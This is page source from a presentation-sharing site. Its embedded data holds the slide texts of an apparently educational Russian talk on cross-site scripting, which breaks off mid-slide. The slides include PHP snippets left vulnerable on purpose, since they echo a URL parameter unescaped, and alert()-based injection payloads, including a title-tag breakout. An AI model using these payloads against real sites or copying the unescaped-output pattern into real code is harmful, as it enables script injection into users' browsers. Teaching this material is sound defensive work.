width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1363073/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1363073/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1363073/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1363073/slide-0.jpg 1440w" class="slides-image related-itemImage"> Boża Matka</a></div><div class="related-item"><a href="/algebra/ba-darlamalau-tehnologiyasyny-tarihi-aspekt-s-neg-zg-t-s-n-kter-men-any-tamalar" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1364127/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1364127/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1364127/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1364127/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1364127/slide-0.jpg 1440w" class="slides-image related-itemImage"> Бағдарламалау технологиясының тарихи аспектісі. Негізгі түсініктер мен анықтамалар</a></div><div class="related-item"><a href="/algebra/phase-structure-of-competitive-activity-of-the-athlete" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1380065/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1380065/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1380065/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1380065/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1380065/slide-0.jpg 1440w" class="slides-image related-itemImage"> Phase structure of competitive activity of the athlete</a></div><div class="related-item"><a href="/algebra/kejs-tajlenol-na-osnove-materialov-effie-awards" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1298076/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1298076/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1298076/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1298076/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1298076/slide-0.jpg 1440w" class="slides-image related-itemImage"> Кейс «Тайленол» на основе материалов Effie Awards</a></div><div class="related-item"><a href="/algebra/analiz-osnovnyx-dostizhenij-uchenyx-dosovetskogo-perioda" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1326465/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1326465/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1326465/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1326465/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1326465/slide-0.jpg 1440w" class="slides-image related-itemImage"> Анализ основных достижений ученых досоветского периода</a></div><div class="related-item"><a href="/algebra/barokko-4" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1348185/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1348185/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1348185/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1348185/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1348185/slide-0.jpg 1440w" class="slides-image related-itemImage"> Барокко</a></div><div class="related-item"><a href="/algebra/1-analgeziruyushhie-sredstva" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1453906/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1453906/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1453906/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1453906/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1453906/slide-0.jpg 1440w" class="slides-image related-itemImage"> .1_Аналгезирующие средства</a></div><div class="related-item"><a href="/algebra/proekt--professii-nashix-roditelej-uchenikov-4-b-mou-licej--13" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1199701/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1199701/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1199701/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1199701/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1199701/slide-0.jpg 1440w" class="slides-image related-itemImage"> Проект « Профессии наших родителей» УЧЕНИКОВ 4 Б МОУ «ЛИЦЕЙ № 13»</a></div><div class="related-item"><a href="/algebra/edom" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1334197/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1334197/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1334197/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1334197/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1334197/slide-0.jpg 1440w" class="slides-image related-itemImage"> Эдом</a></div><div class="related-item"><a href="/algebra/pravila-proektirovaniya-pechatnyx-plat" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1473212/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1473212/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1473212/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1473212/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1473212/slide-0.jpg 1440w" class="slides-image related-itemImage"> Правила проектирования печатных плат</a></div><div class="related-item"><a href="/algebra/simvoly-xristianstva-bogosluzhebnaya-utvar" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1367085/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1367085/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1367085/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1367085/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1367085/slide-0.jpg 1440w" class="slides-image related-itemImage"> Символы христианства. Богослужебная утварь</a></div><div class="related-item"><a href="/algebra/ponyatie-ugolovnoj-otvetstvennosti" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1302513/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1302513/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1302513/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1302513/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1302513/slide-0.jpg 1440w" class="slides-image related-itemImage"> Понятие уголовной ответственности</a></div><div class="related-item"><a href="/algebra/vvedenie-v-inzhenernyj-analiz-metodom-konechnyx-elementov-realizaciya-v-solid-edge-simulationexpress" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1474660/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1474660/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1474660/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1474660/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1474660/slide-0.jpg 1440w" class="slides-image related-itemImage"> Введение в инженерный анализ методом конечных элементов. Реализация в Solid Edge Simulation/Express</a></div><div class="related-item"><a href="/algebra/forma-gosudarstvennogo-ustrojstva-2" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1408477/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1408477/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1408477/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1408477/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1408477/slide-0.jpg 1440w" class="slides-image related-itemImage"> Форма государственного устройства</a></div><div class="related-item"><a href="/algebra/portal-nedvizhimosti-dlya-sobstvennikov-i-professionalov-primarktru" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1333343/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1333343/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1333343/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1333343/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1333343/slide-0.jpg 1440w" class="slides-image related-itemImage"> Портал недвижимости для собственников и профессионалов Primarkt.Ru</a></div><div class="related-item"><a href="/algebra/minimizaciya-logicheskix-funkcij-2" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1370919/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1370919/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1370919/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1370919/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1370919/slide-0.jpg 1440w" class="slides-image related-itemImage"> Минимизация логических функций</a></div><div class="related-item"><a href="/algebra/ozdorovitelnyj-proekt-cherliding-detyam" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1360208/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1360208/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1360208/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1360208/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1360208/slide-0.jpg 1440w" class="slides-image related-itemImage"> Оздоровительный проект «Черлидинг- детям»</a></div><div class="related-item"><a href="/algebra/svyortyvanie-krovi" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1304734/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1304734/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1304734/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1304734/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1304734/slide-0.jpg 1440w" class="slides-image related-itemImage"> Свёртывание крови </a></div><div class="related-item"><a href="/algebra/audarmashyny-za-dy-statusy" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1337228/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1337228/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1337228/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1337228/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1337228/slide-0.jpg 1440w" class="slides-image related-itemImage"> Аудармашының заңды статусы</a></div><div class="related-item"><a href="/algebra/drofa-i-strepet--zanesyonnye-v-krasnuyu-knigu-saratovskoj-oblasti-uchebnaya-prezentaciya-uchashhixsya-4-klassa-mou-sosh-sbagaevka-mixee%d0" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1144570/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1144570/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1144570/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1144570/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1144570/slide-0.jpg 1440w" class="slides-image related-itemImage"> ДРОФА И СТРЕПЕТ, занесённые в Красную книгу Саратовской области. Учебная презентация учащихся 4 класса МОУ «СОШ с.Багаевка»: Михее</a></div><div class="related-item"><a href="/algebra/19676-prezentaciya-na-temu-quotroditelskie-direktivyquot--skachat-prezentacii-po-pedagogike" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1148404/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1148404/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1148404/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1148404/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1148404/slide-0.jpg 1440w" class="slides-image related-itemImage"> Презентация на тему "Родительские директивы" - скачать презентации по Педагогике</a></div><div class="related-item"><a href="/algebra/stomatologiyada-y-menedghment-gh-ne-marketing-neg-zder-" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1341318/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1341318/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1341318/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1341318/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1341318/slide-0.jpg 1440w" class="slides-image related-itemImage"> Стоматологиядағы менеджмент және маркетинг негіздері</a></div><div class="related-item"><a href="/algebra/organizacionnyj-kontekst-strategiya-struktura-i-kultura-lekciya-3-" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1484193/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1484193/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1484193/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1484193/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1484193/slide-0.jpg 1440w" class="slides-image related-itemImage"> Организационный контекст: стратегия, структура и культура. Лекция 3</a></div></div></div></div></div></div></div></main><footer class="footer"><div class="layout"><div class="footer-text">Вы можете прислать нам Вашу презентацию и мы опубликуем ее на сайте.</div><div class="footer-contacts"><svg class="footer-contactsIcon" viewBox="0 0 27 26" xmlns="http://www.w3.org/2000/svg"><use xlink:href="/images/icons.svg#contacts"></use></svg> Обратная связь</div><div class="footer-text"><a href="/page/dlyapravoobladatelei">Для правообладателей</a></div><div class="footer-contactsEmail"> Email: <span class="footer-contactsShow">Нажмите что бы посмотреть</span></div></div></footer></div></div><script>window.NUXT=(function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R){return {data:{meta:{result:{meta:{h1:l,main_text:a,main_title:m,main_description:n,main_keywords:o,main_image:a},app:{logo_image:a,logo_image_width:p,logo_image_height:q,logo_text:r,image_width_full:s,image_width_min:t,recaptcha_key:u,yandex_search:v,ya_context:d,banner_1:a,banner_2:a,banner_3:a,banner_4:a,banner_5:a,banner_6:a,banner_7:a,banner_8:a,banner_9:a,banner_10:a,email:w,footer_before:x,footer:y,dark_theme:d,strategy:{image_alt_words:h,item_slide_header:z,item_images:A,item_images_tag:i,item_words_h3:d,item_words_tag:i,item_words_1:h,routing:B,item_slide_skipping:C,item_download_timeout:D},colors:{header_text:j,header_bg:E,accent:F}},social:G}},item:{result:{id:1345341,name:"XSS (Cross-Site Scripting)",category:"Алгебра",count:73,jpg:"jpg\u002F1345341",hits:91,download:b,h1:a,meta:{h1:"XSS (Cross-Site Scripting) ",title:"XSS (Cross-Site Scripting) презентация",description:"XSS (Cross-Site Scripting) - Алгебра, презентация, доклад, проект, конспект",keywords:"XSS (Cross-Site Scripting), Алгебра, презентация, доклад, проект, скачать презентацию на тему, PowerPoint, скачати презентацію, фон, шаблон, урок, конспект, класс, школа, класс",download_link:a},text:"\u003Cp style=\"text-align: justify;\" \u002F\u003EПрезентация на тему XSS (Cross-Site Scripting), из раздела: Алгебра.  Презентацию в формате PowerPoint (pptx) можно скачать внизу страницы, поделившись ссылкой в социальных сетях! Презентации взяты из открытого доступа или загружены их авторами, администрация сайта не отвечает за достоверность информации в них. Все права принадлежат авторам материалов: \u003Ca href=\"politika-zashchity-avtorskih-prav\"\u003EПолитика защиты авторских прав\u003C\u002Fa\u003E",seo_text:"\u003Cp\u003E Поговорим про XSS \u003Cbr\u003E Создадим универсальный пейлоад для поиска XSS \u003Cbr\u003E Завтра - призы и разбор заданий\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003EПрограмма\u003Cbr\u003E\u003Cp\u003E\u003Cbr\u003E\u003Cp\u003E\u003Cbr\u003E \u003Cp\u003EНафига?\u003Cbr\u003E",texts:["\u003Cp\u003E\r\nИван Румак\r\n\u003Cbr\u003E\u003Cp\u003EЗанимаюсь безопасностью\u003Cbr\u003E\u003Cp\u003EXSSни свой продукт\r\nпродвинутое тестирование безопасности\u003Cbr\u003E","\u003Cp\u003E Поговорим про XSS \u003Cbr\u003E Создадим универсальный пейлоад для поиска XSS \u003Cbr\u003E Завтра - призы и разбор заданий\u003Cbr\u003E\u003Cp\u003EПрограмма\u003Cbr\u003E","\u003Cp\u003EНафига?\u003Cbr\u003E","\u003Cp\u003EXSS (Cross-Site Scripting) -\r\nэто когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта\u003Cbr\u003E","\u003Cp\u003E 1. при генерации html-страницы, когда в код подтягиваются:\u003Cbr\u003Eлюбые данные из БД, ранее указанные пользователем - stored XSS\u003Cbr\u003Eпараметры из урла\u002Fтела запроса - reflected XSS\u003Cbr\u003Eзначения http заголовков, куки - нужен mitm или другой баг (не сегодня)\u003Cbr\u003E2. при изменении страницы джаваскриптом (про это в другой раз):\u003Cbr\u003EpostMessage\u003Cbr\u003EInnerHTML, $().html(), document.write\u003Cbr\u003Elocation.hash...\u003Cbr\u003E\u003Cp\u003EXSS - причины\u003Cbr\u003E","\u003Cp\u003E 1. пейлоад во все поля\u002Fпараметры\u003Cbr\u003E2. рано или поздно выполнится alert()\u003Cbr\u003E\u003Cp\u003EXSS - методология\u003Cbr\u003E",a,a,"\u003Cp\u003EF12 -\u003E Ctrl+F -\u003E \"qweqwe\"\u003Cbr\u003E",a,a,"\u003Cp\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS – Level 0\u003Cbr\u003E","\u003Cp\u003EXSS: между тэгами разметки\u003Cbr\u003E\u003Cp\u003E\u003Cp\u003E\r\nПривет, \u003C?php echo($_GET[\"name\"]); ?\u003E!\r\n","\u003Cp\u003EXSS: между тэгами разметки\u003Cbr\u003E\u003Cp\u003E\u003Cp\u003E\r\nПривет, \u003Cscript\u003Ealert()\u003C\u002Fscript\u003E!\r\n\u003Cp\u003E\u002Fpage.php?name=\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между тэгами разметки\u003Cbr\u003E\u003Cp\u003E\u003Cp\u003E\r\nПривет, \u003C?php $sql=…; echo($sql); ?\u003E!\r\n","\u003Cp\u003EXSS: между тэгами разметки\u003Cbr\u003E\u003Cp\u003E\u003Cp\u003E\r\nПривет, Вася\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E!\r\n","\u003Cp\u003EXSS: внутри значения аттрибута\u003Cbr\u003E\u003Cp\u003E\u003Cform action=\"page.php\" method=\"POST\"\u003E\r\n\u003Cinput name=\"name\" value=\"\u003C?php echo($_GET[\"name\"]); ?\u003E\"\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: внутри значения аттрибута\u003Cbr\u003E\u003Cp\u003E\u003Cform action=\"page.php\" method=\"POST\"\u003E\r\n\u003Cinput name=\"name\" value=\"\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\"\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003E\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS – Level 1\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Chtml\u003E\u003Cbr\u003E\u003Chead\u003E\u003Cbr\u003E\u003Ctitle\u003EПривет, \u003C?php echo($_GET[\"name\"]); ?\u003E\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003C\u002Fhead\u003E\u003Cbr\u003E\u003Cbody\u003E\u003Cbr\u003E\u003C\u002Fbody\u003E\u003Cbr\u003E\u003C\u002Fhtml\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Chtml\u003E\u003Cbr\u003E\u003Chead\u003E\u003Cbr\u003E\u003Ctitle\u003EПривет,\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003C\u002Fhead\u003E\u003Cbr\u003E\u003Cbody\u003E\u003Cbr\u003E\u003C\u002Fbody\u003E\u003Cbr\u003E\u003C\u002Fhtml\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Chtml\u003E\u003Cbr\u003E\u003Chead\u003E\u003Cbr\u003E\u003Ctitle\u003EПривет,\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003C\u002Fhead\u003E\u003Cbr\u003E\u003Cbody\u003E\u003Cbr\u003E\u003C\u002Fbody\u003E\u003Cbr\u003E\u003C\u002Fhtml\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cp\u003EСработает?\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Chtml\u003E\u003Cbr\u003E\u003Chead\u003E\u003Cbr\u003E\u003Ctitle\u003EПривет,\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003C\u002Fhead\u003E\u003Cbr\u003E\u003Cbody\u003E\u003Cbr\u003E\u003C\u002Fbody\u003E\u003Cbr\u003E\u003C\u002Fhtml\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cp\u003EНЕТ!\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Chtml\u003E\u003Cbr\u003E\u003Chead\u003E\u003Cbr\u003E\u003Ctitle\u003EПривет,\"\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003C\u002Fhead\u003E\u003Cbr\u003E\u003Cbody\u003E\u003Cbr\u003E\u003C\u002Fbody\u003E\u003Cbr\u003E\u003C\u002Fhtml\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003E\"\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Cscript\u003E\u003Cbr\u003Evar name=\"\u003C?php echo($_GET[\"name\"]); ?\u003E\";\u003Cbr\u003E\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных 